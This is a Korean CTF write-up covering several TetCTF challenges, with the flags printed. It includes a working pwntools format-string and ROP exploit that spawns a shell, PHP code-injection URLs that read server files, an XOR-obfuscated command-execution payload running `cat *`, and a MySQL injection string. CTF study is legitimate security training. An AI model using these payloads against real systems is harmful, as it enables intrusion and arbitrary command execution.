이상한 CTF 하느라 대회 기간에는 참여를 못했고, 대회가 끝나고 나서 몇몇 문제들을 풀어봤다.
PWNABLE :: warmup
주어진 라이브러리의 BuildID에서 실행 환경이 Linux Ubuntu 16.04임을 알 수 있다.
바이너리를 쭉 살펴보면 FSB가 발생하는 곳이 한 군데 보인다.
void __fastcall print_fsb(const char *msg)
{ int i; // [rsp+1Ch] [rbp-4h] printf(msg); for ( i = strlen(msg); i <= 0x30; ++i ) putchar(' '); puts("*"); } |
바이너리가 PIE이고 이 코드는 딱 한번밖에 실행되지 않기 때문에 스택에서 조작할 수 있는 값을 쭉 찾아보았다.
gdb-peda$ stack 25
0000| 0x7fff4cea23c0 --> 0x55708db2b270 ('*' <repeats 50 times>) 0008| 0x7fff4cea23c8 --> 0x55708e2ed428 ("whatzefuk???") 0016| 0x7fff4cea23d0 --> 0x0 0024| 0x7fff4cea23d8 --> 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push r15) 0032| 0x7fff4cea23e0 --> 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push r15) 0040| 0x7fff4cea23e8 --> 0x55708db2ae9f (lea rdi,[rip+0x3ca] # 0x55708db2b270) 0048| 0x7fff4cea23f0 --> 0x0 0056| 0x7fff4cea23f8 --> 0x55708e2ed420 --> 0x55708dd2c050 --> 0x64 ('d') 0064| 0x7fff4cea2400 --> 0x0 0072| 0x7fff4cea2408 --> 0x0 0080| 0x7fff4cea2410 --> 0x1 0088| 0x7fff4cea2418 --> 0x0 0096| 0x7fff4cea2420 --> 0x0 0104| 0x7fff4cea2428 --> 0x6809c21ac91c6400 0112| 0x7fff4cea2430 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push r15) 0120| 0x7fff4cea2438 --> 0x0 0128| 0x7fff4cea2440 --> 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push r15) 0136| 0x7fff4cea2448 --> 0x55708db2b0c3 (lea rdi,[rip+0x297] # 0x55708db2b361) 0144| 0x7fff4cea2450 --> 0x55708db2ab00 (xor ebp,ebp) 0152| 0x7fff4cea2458 --> 0x55708e2ed420 --> 0x55708dd2c050 --> 0x64 ('d') 0160| 0x7fff4cea2460 --> 0x7fff4cea2470 --> 0x55708db2b1d0 (push r15) 0168| 0x7fff4cea2468 --> 0x55708db2b1c2 (mov eax,0x0) 0176| 0x7fff4cea2470 --> 0x55708db2b1d0 (push r15) 0184| 0x7fff4cea2478 --> 0x7f1f2bada840 (<__libc_start_main+240>: mov edi,eax) 0192| 0x7fff4cea2480 --> 0x1 |
rsp+0x38
이나 rsp+0x98
위치에 흥미로운 데이터가 보인다. 해당 포인터는 플레이어 객체를 할당받을 때 생성된다.
void __fastcall game()
{ Player *player; // [rsp+8h] [rbp-8h] buf = calloc(0x400uLL, 1uLL); player = (Player *)calloc(0x88uLL, 1uLL); player->money = &a1; do { printf("How much money you want? "); read_long(&a1); } while ( a1 > 0x8000000000000000LL ); play(player); puts("Game Over"); printf("Your money: %lu ZWD\n", a1); printf("Send to author your feeback: "); read(0, buf, 0x400uLL); puts("Thank for your feedback"); } |
.bss:0000000000202050 ; uint64_t a1
.bss:0000000000202050 a1 dq ? ; DATA XREF: game+35↑o .bss:0000000000202050 ; game+50↑o ... .bss:0000000000202058 ; void *buf .bss:0000000000202058 buf dq ? ; DATA XREF: game+17↑w .bss:0000000000202058 ; game+B6↑r |
player->money
는 a1
의 주소를 저장하고 있는데, FSB로 1바이트를 바꿔서 이 값을 buf
의 주소로 바꿀 수 있다.
그리고 play
함수의 실행이 끝나고 나면 buf
에 0x400 크기의 임의의 데이터를 쓸 수 있다는 점 역시 눈에 띈다.
printf("Round: %d\n", rounds);
printf("Your money: %lu ZWD\n", *player->money); printf("Your bet (= 0 to exit): "); read_long(&bet); if ( !bet ) break; printf("Your choice: "); choice = read_int(); r = rand(); printf("Lucky number: %u\n", r); if ( choice == r ) { *player->money += bet + rand(); } else { *player->money -= bet + rand(); } ++rounds; |
play
함수의 반복문에서 player->money
에 값을 쓰는 부분이 존재한다. FSB로 player->money
를 buf
의 주소로 바꾸고 나면 buf
에 들어있는, calloc
으로 할당받은 힙 영역의 주소를 다른 값으로 바꿀 수 있다. 만약 이 값을 적절한 주소값으로 변경했다면, game
함수의 buf
에 입력받는 코드를 통해 해당 주소에 0x400 크기의 값을 자유롭게 쓸 수 있게 된다.
player->money
값이 변경될 때 rand
를 사용한 랜덤값이 관여한다. 이 값을 제어할 수 있는 방법을 찾아보기 위해 seed를 설정하는 곳을 살펴보니...
fd = open("/dev/urandom", 0);
if ( fd < 0 ) { puts("Error"); exit(0); } read(fd, &buf, 3uLL); close(fd); srand(buf); |
임의의 3바이트 값이 들어간다.
3바이트로 표현할 수 있는 수는 0부터 16777215까지이고, 이는 간단한 수준의 브루트포스로 해결할 수 있다.
홀수 번째의 rand
실행 결과값을 각 seed별로 저장하고, 프로그램에서 lucky number로 출력해 주는 값을 보면서 seed를 추측할 수 있다. 해당 값이 하나로 확정이 되면 rand
의 결과값을 예측하는 게 가능해지므로 buf
에 원하는 주소값을 쓸 수 있게 된다.
어떤 값을 쓸 것인지가 중요한데, _rtld_global
을 덮어서 _dl_fini
루틴을 조작하는 시나리오와 스택에서 ROP를 하는 시나리오를 생각해 봤다. 전자는 아직 해본 경험이 없고 입력 크기 제한 때문에 조금 더 이지한 후자로 코드를 작성했다.
앞서 FSB에서 %p 로 알아낸 stack & libc 주소들을 바탕으로 오프셋을 잘 계산해서 써 주었다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 |
from pwn import *
import argparse import ctypes as c def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def rand(seed:int, count:int) : _srand(seed) for i in range(count-1) : _rand() return _rand() def exploit() : cds, new_cds = [i for i in range(0x100**3)], [] p.writelineafter(b'How much money you want? ', b'1') p.writelineafter(b'Player name: ', b'%88c%13$hhn%26$p %29$p') p.readuntil(b'Danh de ra de ma` o? =]] *\n**************************************************\n') r = p.readline(keepends=False)[88:].split(b' ')[:2] stack_ret = int(r[0], 16) - 8 libc_base = int(r[1], 16) - 0x20840 libc_system = libc_base + 0x453A0 pop_rdi_ret = libc_base + 0x21112 log_info('stack ret: '+hex(stack_ret)) log_info('libc base address: '+hex(libc_base)) log_info('system = '+hex(libc_system)) log_info('gadget (pop rdi ; ret): '+hex(pop_rdi_ret)) rounds = 1 while len(cds) != 1 : log_info('Round: {}'.format(rounds)) p.readuntil(b'Your bet (= 0 to exit): ') p.writeline(b'1') p.readuntil(b'Your choice: ') p.writeline(b'0') p.readuntil(b'Lucky number: ') r = int(p.readline(keepends=False)) for cd in cds : if rand(cd, rounds*2-1) == r : new_cds.append(cd) log_info(' found {}'.format(cd)) rounds += 1 cds = new_cds seed = cds[0] log_info('seed = {}'.format(seed)) p.readuntil(b'Your money: ') val = int(p.readuntil(b' ZWD', drop=True)) log_info('Current value = '+hex(val)) # the difference of addresses between .data section (0x55..........) and libc (0x7f..........) is # approximately 0x2a0000000000, which exceeds RAND_MAX (2^32-1) ; so we can always add values # without concerns about calibration. lucky = rand(seed, rounds*2-1) diff = rand(seed, rounds*2) p.readuntil(b'Your bet (= 0 to exit): ') p.writeline(str(stack_ret-val-diff).encode()) p.readuntil(b'Your choice: ') p.writeline(str(lucky).encode()) p.readuntil(b'Your bet (= 0 to exit): ') p.writeline(b'0') p.readuntil(b'Send to author your feeback: ') payload = p64(pop_rdi_ret) payload += p64(stack_ret + 0x18) payload += p64(libc_system) payload += b'/bin/sh\x00' p.write(payload) p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('192.46.228.70', 32337) else : p = process('./warmup') libc = c.cdll.LoadLibrary('libc-2.23.so') _srand, _rand = libc.srand, libc.rand _srand.argtypes, _rand.argtypes = (c.c_uint32,), () _srand.restype, _rand.restype = None, c.c_int32 exploit() |
1. TetCTF 문제 수준이 높아서 그런지 warmup 인데 나름 풀기가 까다롭다. (시나리오 세우기는 쉬운데 코딩이 힘들다...)
2. 테스트 결과 첫 번째 rand
결과값이 중복되는 경우가 대략 5만개 존재하기 때문에 seed 후보가 1개가 될때까지 반복 실행하도록 작성했다. (중복 케이스가 걸리지 않을 확률이 대략 0.38% 이긴 하지만 완벽한 익스 코드를 만들기 위해서 약간 추가적인 삽질을 했다)
Flag: TetCTF{viettel: *100*311267385452644#}
PWNABLE :: babyformat
leak이 불가능한 FSB 문제이다.
(작성중)
CRYPTO :: unimplemented
RSA인데 base가 복소수이며, \(N=p^{2}q^{2}\) 이다. 비밀키와 공개키가 모두 주어졌기 때문에 복호화 코드를 올바르게 작성하면 끝나는 문제다.
먼저 Euler's Theorem을 Gaussian integer에서 확장한 정리를 살펴보면,
\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\eta\mathrm{,\ }\alpha^{\phi\left(\eta\right)}\mathrm{\ is\ congruent\ to\ }1\mathrm{\ modulo\ }\eta\mathrm{.}\]
Gaussian integer에서 정의되는 Euler totient function은 아래와 같다.
\[\phi\left(\eta\right)=N(\eta)\prod_{\pi|\eta}\left(1-\frac{1}{N\left(\pi\right)}\right)\]
여기서 \(N\)은 Gaussian integer에 대한 norm function이며, \(\alpha=a+bi\) 일 때 \(N\left(\alpha\right)=a^{2}+b^{2}\) 이다.
Euler's totient function 역시 Gaussian integer로 확장될 수 있다. 그 중에서 문제에 필요한 2가지 특징을 아래에 적어보았다.
첫 번째는, 확장된 함수가 multiplicative 하다는 점이다.
\[\mathrm{For\ relatively\ prime\ Gaussian\ integers\ }\alpha\mathrm{\ and\ }\beta\mathrm{,\ }\phi\left(\alpha\beta\right)=\phi\left(\alpha\right)\phi\left(\beta\right)\mathrm{.}\]
두 번째는 Gaussian prime의 거듭제곱에 대한 함수값에 대한 내용이다.
\[\mathrm{For\ Gaussian\ prime\ }\pi\mathrm{\ and\ positive\ integer\ }k{,\ }\phi\left(\pi^{k}\right)=N\left(\pi\right)^{k}\left(1-\frac{1}{N\left(\pi\right)}\right)\mathrm{.}\]
다시 문제로 돌아와서, \(d=\phi\left(p^{2}q^{2}\right)\) 를 위 특징을 사용하여, 아래처럼 식을 전개해 구할 수 있다.
\[d=\phi\left(p^{2}q^{2}\right)=\phi\left(p^{2}\right)\phi\left(q^{2}\right)=N\left(p\right)^{2}\left(1-\frac{1}{N\left(p\right)}\right)N\left(q\right)^{2}\left(1-\frac{1}{N\left(q\right)}\right)=p^{4}\left(1-\frac{1}{p^{2}}\right)q^{4}\left(1-\frac{1}{q^{2}}\right)=p^{2}q^{2}\left(p^{2}-1\right)\left(q^{2}-1\right)\]
이 값을 \(d\)로 설정하고 복호화를 진행하면 플래그를 얻을 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
from sage.all import *
from collections import namedtuple from Crypto.Util.number import bytes_to_long, long_to_bytes Complex = namedtuple("Complex", ["re", "im"]) private_key = (128329415694646850105527417663220454989310213490980740842294900866469518550360977403743209328130516433033852724185671092403884337579882897537139175073013, 119773890850600188123646882522766760423725010264224559311769920026142724028924588464361802945459257237815241227422748585976629359167921441645714382651911) public_key = 236252683050532196983825794701514768601125614979892312308283919527619033977486749228418695923608569040825653688303374445536392159719426640289893369552258923597180869981053519695297428186215135878525530974780390951763007339139013157234202093279764459949020588291928614938201565110828675907781512603972957429701280916745719458738970910789383870206038035515777549907045905872280803964436193687072794878040018900969772972761081589529671158140590712503582004892067155769362463889653489918914397872964087471457070748108694165412065471040954221707557816986272311750297566993468288899523479556822418109112211944932649 ciphertext = b'\x00h\xbe\x94\x8c\xcd\xdd\x04\x80\xf4\x9d\t\xd8\x8dO\x08\xf1\xd1\xc4\xb9\xa06\xe7\xe3\xb6\xc3\x01+\xa9\xf2\xb9\xe8\x8d\xe6\xc9\x0c_#\x93\x11\xad\x0f\x90\xd3\x0b6\xb0n\x13\xea~"V6\xdbA&\x87\xfe\xa3C\xcb\x16\xae\xd9\x83\xdbU\xc6\x06\xcd\x9a\x94\xa9\xce\x15{d\x95s\xc2\xfb\x90q\xe7\x02\xa2\x081:_C\xc68\x00y\x7fj4@\xd2\xcdE\x06\x943\xbe\xbcC3\xca\x91\xb4\x0e}C\xab\xff?X\xc30u\x069:Dc\xb5\xdc\x9b0%\x98\xbd\xd9\x13\xc0\x02w\xc5\xe5:\xca\xcf\x0c\xab\xc2\x9b}\xab\xd0\xcc\xbc\x0f\x9e9\t\xf7M\xb3\xed\x86\xb5E\x8b\xbc4\xfaH\x9b4\x1c\xc4\xab\xc0\xaf\x8a5XcX\x19K\xed\x19\xe1\x1c\xd0\x1e\x97c\x9fF:L\x9d\x90p\x99\xb8\xde\xcblM\xb3\x80sSL\xe1\xa4\xd6,\x81\xd6\x9c\xf1\xbb\x9c)\xf03\x155\xc0\xd5v\x13\xd6#\xb7\x19\xdea%\xce<\x1c\xf7\xf2!;\xc1\xd7w\xd1\xc8\x8d/\xaew\xa1\x1d\xc5(\xc8\x9d\x82v\xf6j\x90A,e\xbd\xa7]\x10\x8f\xe5\xe7\x93}:\xdf1~\xec\xd0-o`\r\x96\xe4\x03\xb9E\x9fdF\xc3\xf8L\xa0\xda\xf0E[\xf7\x02\xef|*\x08\x8a5pI&\xa9i\x0fZ\xa8\xb3H\xed\xe8v\xc4H\xff\xdb\xcb\x00\xf1\xae\x9bO\x18\xd5\xd8&p\xf5\xf6\xe9\xf1\x1brs\xc2\r\xceZ\xd0\xb24\x97+\x98b\x0e\xbb\xb8.\x8dT\xe4"\xad\xe4\xa3f\xd0M\xbf\xafX\xbb"[\x99\xdap\xa5\xcfT2Wx\x87M\x7f\x99!>B[Q\x04\xf6\x03\xbc\x84\xf4\xdfj\xdd1^I\x1a\x05\x81\x91\xde9Mf*\x8e\x8d\xe64\xf8\x93\x99&yP\xcd\x00!\x82\xab\xbcy\xed\xf1\x13\xd3\x81\xeaz\xbbP>\x9a2\x8c\x08\x0es\xbc\xa9\xf6\xa3\x8c\xb0\xb9t\xd9?\x06@\xc9\x90\xb7\xa7<\x85\xeb\x1a\x88#\x1c\xc3 \xec\xc7\x94d\x99\xd6\x8e>\x06\xf8Y\xf4\x19\xcaI/hy\x18\x8e\x0e8\xf8\r\xbb\xf6\x11\xb9\x8dCWB6 ' def complex_mult(c1, c2, modulus) : return Complex( (c1.re * c2.re - c1.im * c2.im) % modulus, # real part (c1.re * c2.im + c1.im * c2.re) % modulus, # image part ) def complex_pow(c, exp, modulus) : result = Complex(1, 0) while exp > 0 : if exp & 1 : result = complex_mult(result, c, modulus) c = complex_mult(c, c, modulus) exp >>= 1 return result def unpad(data) : assert b"\x00" in data, "incorrect padding" return data.split(b"\x00", 1)[1] def decrypt(private_key, ciphertext) : n = public_key p, q = private_key d = inverse_mod(65537, p**2*q**2*(p**2-1)*(q**2-1)) c = Complex( bytes_to_long(ciphertext[:len(ciphertext) // 2]), bytes_to_long(ciphertext[len(ciphertext) // 2:]) ) m = complex_pow(c, d, n) return unpad(long_to_bytes(m.re) + long_to_bytes(m.im)) def main() : flag = decrypt(private_key, ciphertext) print(flag) if __name__ == '__main__' : main() |
Flag: TetCTF{c0unt1ng_1s_n0t_4lw4ys_34sy-vina:*100*48012023578024#}
WEB :: HPNY
http://139.180.155.171:8003/?roll=var_dump(scandir(getcwd())).die
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(39) "fl4g_here_but_can_you_get_it_hohoho.php" [3]=> string(9) "index.php" }
|
http://139.180.155.171:8003/?aaa=bbb&roll=var_dump(get_defined_vars()).die
array(5) { ["_GET"]=> array(2) { ["aaa"]=> string(3) "bbb" ["roll"]=> string(32) "var_dump(get_defined_vars()).die" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["wl"]=> int(1) }
|
http://139.180.155.171:8003/?aaa=fl4g_here_but_can_you_get_it_hohoho.php&roll=readfile(pos(pos(get_defined_vars()))).die
Flag: TetCTF{lixi_50k_<3_vina_*100*25926415724382#}
WEB :: Super Calc
문자열을 xor 연산할 수 있는 PHP의 특징을 잘 써먹으면 된다.
아래와 같은 도구를 만들어서 글자 하나를 적절한 조합으로 바꿔주게 했다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
from itertools import combinations
CHARSET = '0123456789+-*/().~^|&' def find(c) : assert(len(c) == 1) for recursive_level in range(len(CHARSET)) : for cs in combinations(CHARSET, recursive_level) : val = 0 for t in cs : val ^= ord(t) if ord(c) == val : return cs if __name__ == '__main__' : while True : c = input('> ') res = find(c) print(', '.join("'{}'".format(r) for r in res)) |
한편 PHP의 연산자를 찾아보던 중 execution operator라는 생소한 것을 발견하게 되었다. (https://www.php.net/manual/en/language.operators.execution.php)
`cat *`
을 실행시켜 파일을 모두 출력하도록 했다.
`cat *`
을 각 글자마다 변환하면 아래와 같은 문자열이 만들어진다.
('0'^'.'^'~').('0'^'-'^'~').('0'^'-'^'|').('*'^'^').('~'^'^').'*'.('0'^'.'^'~')
|
글자 수 제한에 맞추기 위해 몇몇 글자들을 묶어서 아래와 같이 처리했다.
('.-'^'00'^'~~').('0'^'-'^'|').('*~'^'^^').'*'.('0'^'.'^'~')
|
Flag: TetCTF{_D0_Y0u_Know_H0w_T0_C4lculat3_1337?_viettel_*100*817632506233949#}
WEB :: mysqlimit
https://hyunmini.tistory.com/46
1/**/LIMIT/**/2,1/**/PROCEDURE/**/ANALYSE(1)
|
Flag: TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}
MISC :: Welcome
Flag: TetCTF{dmlldHRlbDogKjEwMCo0MTk4NjIzMDkwMzMxWFgj}
'CTF > CTF Playground' 카테고리의 다른 글
Brixel CTF winter edition (0) | 2021.01.06 |
---|---|
IJCTF 2020 (0) | 2020.04.27 |
Houseplant CTF (0) | 2020.04.27 |
TAMUctf 2020 (0) | 2020.03.30 |
Securinets Prequals 2K20 (0) | 2020.03.23 |